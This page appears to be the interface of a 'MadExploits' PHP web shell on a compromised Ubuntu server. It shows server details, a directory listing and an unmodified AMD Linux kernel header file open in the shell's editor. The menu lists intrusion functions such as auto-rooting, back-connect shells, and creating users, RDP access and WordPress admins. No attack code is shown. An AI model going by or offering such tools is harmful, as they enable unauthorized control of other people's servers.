Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 172.70.230.116
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.4.0-216 /
include /
drm /
ttm /
[ HOME SHELL ]
Name
Size
Permission
Action
ttm_bo_api.h
24.75
KB
-rw-r--r--
ttm_bo_driver.h
27.93
KB
-rw-r--r--
ttm_debug.h
1.53
KB
-rw-r--r--
ttm_execbuf_util.h
4.42
KB
-rw-r--r--
ttm_memory.h
4
KB
-rw-r--r--
ttm_module.h
1.59
KB
-rw-r--r--
ttm_page_alloc.h
3.39
KB
-rw-r--r--
ttm_placement.h
3.56
KB
-rw-r--r--
ttm_set_memory.h
3.61
KB
-rw-r--r--
ttm_tt.h
7.91
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ttm_set_memory.h
/************************************************************************** * * Copyright (c) 2018 Advanced Micro Devices, Inc. * All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sub license, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice (including the * next paragraph) shall be included in all copies or substantial portions * of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDERS, AUTHORS AND/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM, * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE * USE OR OTHER DEALINGS IN THE SOFTWARE. * **************************************************************************/ /* * Authors: Huang Rui <ray.huang@amd.com> */ #ifndef TTM_SET_MEMORY #define TTM_SET_MEMORY #include <linux/mm.h> #ifdef CONFIG_X86 #include <asm/set_memory.h> static inline int ttm_set_pages_array_wb(struct page **pages, int addrinarray) { return set_pages_array_wb(pages, addrinarray); } static inline int ttm_set_pages_array_wc(struct page **pages, int addrinarray) { return set_pages_array_wc(pages, addrinarray); } static inline int ttm_set_pages_array_uc(struct page **pages, int addrinarray) { return set_pages_array_uc(pages, addrinarray); } static inline int ttm_set_pages_wb(struct page *page, int numpages) { return set_pages_wb(page, numpages); } static inline int ttm_set_pages_wc(struct page *page, int numpages) { unsigned long addr = (unsigned long)page_address(page); return set_memory_wc(addr, numpages); } static inline int ttm_set_pages_uc(struct page *page, int numpages) { return set_pages_uc(page, numpages); } #else /* for CONFIG_X86 */ #if IS_ENABLED(CONFIG_AGP) #include <asm/agp.h> static inline int ttm_set_pages_array_wb(struct page **pages, int addrinarray) { int i; for (i = 0; i < addrinarray; i++) unmap_page_from_agp(pages[i]); return 0; } static inline int ttm_set_pages_array_wc(struct page **pages, int addrinarray) { int i; for (i = 0; i < addrinarray; i++) map_page_into_agp(pages[i]); return 0; } static inline int ttm_set_pages_array_uc(struct page **pages, int addrinarray) { int i; for (i = 0; i < addrinarray; i++) map_page_into_agp(pages[i]); return 0; } static inline int ttm_set_pages_wb(struct page *page, int numpages) { int i; for (i = 0; i < numpages; i++) unmap_page_from_agp(page++); return 0; } #else /* for CONFIG_AGP */ static inline int ttm_set_pages_array_wb(struct page **pages, int addrinarray) { return 0; } static inline int ttm_set_pages_array_wc(struct page **pages, int addrinarray) { return 0; } static inline int ttm_set_pages_array_uc(struct page **pages, int addrinarray) { return 0; } static inline int ttm_set_pages_wb(struct page *page, int numpages) { return 0; } #endif /* for CONFIG_AGP */ static inline int ttm_set_pages_wc(struct page *page, int numpages) { return 0; } static inline int ttm_set_pages_uc(struct page *page, int numpages) { return 0; } #endif /* for CONFIG_X86 */ #endif
Close